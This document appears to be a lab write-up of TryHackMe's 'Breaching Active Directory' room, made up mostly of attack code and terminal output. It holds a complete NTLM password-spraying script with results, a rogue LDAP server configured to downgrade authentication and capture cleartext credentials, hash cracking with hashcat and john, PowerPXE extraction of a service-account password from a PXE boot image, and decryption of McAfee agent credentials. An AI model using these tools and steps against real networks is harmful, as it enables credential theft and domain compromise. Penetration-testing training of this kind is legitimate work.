攻破 Active Directory

import requestsfrom requests_ntlm import HttpNtlmAuthimport sys, getoptclass NTLMSprayer:    def __init__(self, fqdn):        self.HTTP_AUTH_FAILED_CODE = 401        self.HTTP_AUTH_SUCCEED_CODE = 200        self.verbose = True        self.fqdn = fqdn    def load_users(self, userfile):        self.users = []        lines = open(userfile, 'r').readlines()        for line in lines:            self.users.append(line.replace("r", "").replace("n", ""))    def password_spray(self, password, url):        print ("[*] Starting passwords spray attack using the following password: " + password)        count = 0        for user in self.users:            response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\" + user, password))            if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):                print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)                count += 1                continue            if (self.verbose):                if (response.status_code == self.HTTP_AUTH_FAILED_CODE):                    print ("[-] Failed login with Username: " + user)        print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")def main(argv):    userfile = ''    fqdn = ''    password = ''    attackurl = ''    try:        opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])    except getopt.GetoptError:        print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")        sys.exit(2)    for opt, arg in opts:        if opt == '-h':            print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")            sys.exit()        elif opt in ("-u", "--userfile"):            userfile = str(arg)        elif opt in ("-f", "--fqdn"):            fqdn = str(arg)        elif opt in ("-p", "--password"):            password = str(arg)        elif opt in ("-a", "--attackurl"):            attackurl = str(arg)    if (len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0):        #Start attack        sprayer = NTLMSprayer(fqdn)        sprayer.load_users(userfile)        sprayer.password_spray(password, attackurl)        sys.exit()    else:        print ("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")        sys.exit(2)if __name__ == "__main__":    main(sys.argv[1:])

python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>

root@ip-10-10-215-42:~/Rooms/BreachingAD/task3# python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com[*] Starting passwords spray attack using the following password: Changeme123[-] Failed login with Username: anthony.reynolds[-] Failed login with Username: samantha.thompson[-] Failed login with Username: dawn.turner[-] Failed login with Username: frances.chapman[-] Failed login with Username: henry.taylor[-] Failed login with Username: jennifer.wood[+] Valid credential pair found! Username: hollie.powell Password: Changeme123[-] Failed login with Username: louise.talbot[+] Valid credential pair found! Username: heather.smith Password: Changeme123[-] Failed login with Username: dominic.elliott[+] Valid credential pair found! Username: gordon.stevens Password: Changeme123[-] Failed login with Username: alan.jones[-] Failed login with Username: frank.fletcher[-] Failed login with Username: maria.sheppard[-] Failed login with Username: sophie.blackburn[-] Failed login with Username: dawn.hughes[-] Failed login with Username: henry.black[-] Failed login with Username: joanne.davies[-] Failed login with Username: mark.oconnor[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123[*] Password spray attack completed, 4 valid credential pairs found

nc -lvp 389

root@ip-10-10-215-42:~# nc -lvp 389Listening on [0.0.0.0] (family 0, port 389)Connection from ip-10-200-97-201.eu-west-1.compute.internal 64239 received!cx         objectclass supportedCapabilities

apt -y install slapd ldap-utils && systemctl enable slapd

dpkg-reconfigure -p low slapd

dn: cn=configreplace: olcSaslSecPropsolcSaslSecProps: noanonymous,minssf=0,passcred

root@ip-10-10-215-42:~# ldapmodify -Y EXTERNAL -H ldapi:// -f ./oldSaslSecProps.ldif && service slapd restartSASL/EXTERNAL authentication startedSASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=authSASL SSF: 0modifying entry "cn=config"

root@ip-10-10-215-42:~# ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanismsdn:supportedSASLMechanisms: LOGINsupportedSASLMechanisms: PLAIN

john --wordlist=passwordlist.txt pass.txt

hashcat -m 5600 pass.txt passwordlist.txt --force --show

thm@THMJMP1 C:UsersthmDocumentsua>powershell -ep bypassWindows PowerShellPS C:UsersthmDocumentsua> Import-Module .PowerPXE.ps1PS C:UsersthmDocumentsua> $BCDFile = "conf.bcd"PS C:UsersthmDocumentsua> Get-WimFile -bcdFile $BCDFile>> Parse the BCD file: conf.bcd>>>> Identify wim file : Bootx64ImagesLiteTouchPE_x64.wimBootx64ImagesLiteTouchPE_x64.wimPS C:UsersthmDocumentsua> tftp -i 10.200.97.202 GET "Bootx64ImagesLiteTouchPE_x64.wim" pxeboot.winTransfer successful: 341899611 bytes in 380 second(s), 899735 bytes/s

PS C:UsersthmDocumentsua> Get-FindCredentials -WimFile pxeboot.win       >> Open pxeboot.win New-Item : An item with the specified name  C:UsersthmDocumentsuapxeboot already exists.At C:UsersthmDocumentsuaPowerPXE.ps1:212 char:13+     $null = New-Item -ItemType directory -Path $WimDir+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    + CategoryInfo          : ResourceExists: (C:UsersthmDocumentsuapx     eboot:String) [New-Item], IOException    + FullyQualifiedErrorId : DirectoryExist,Microsoft.PowerShell.Commands.     NewItemCommand>>>> Finding Bootstrap.ini >>>> >>>> DeployRoot = \THMMDTMTDBuildLab$ >>>> >>>> UserID = svcMDT>>>> >>>> UserDomain = ZA>>>> >>>> UserPassword = PXEBootSecure1@

thm@THMJMP1 C:Usersthm>cd c:ProgramDataMcAfeeAgentDBthm@THMJMP1 c:ProgramDataMcAfeeAgentDB>dir  Volume in drive C is Windows Volume Serial Number is 1634-22A9 Directory of c:ProgramDataMcAfeeAgentDB       03/28/2022  05:19 AM    <DIR>          .03/28/2022  05:19 AM    <DIR>          ..03/05/2022  07:45 PM           120,832 ma.db                      1 File(s)        120,832 bytes                     2 Dir(s)  50,760,777,728 bytes free

root@ip-10-10-203-57:~# scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .[email protected]'s password: ma.db                                         100%  118KB   2.5MB/s   00:00

root@ip-10-10-203-57:~# sqlitebrowser ma.db

https://github.com/funoverip/mcafee-sitelist-pwd-decryption

root@ip-10-10-203-57:~# python2 mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==Crypted password   : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==Decrypted password : MyStrongPassword!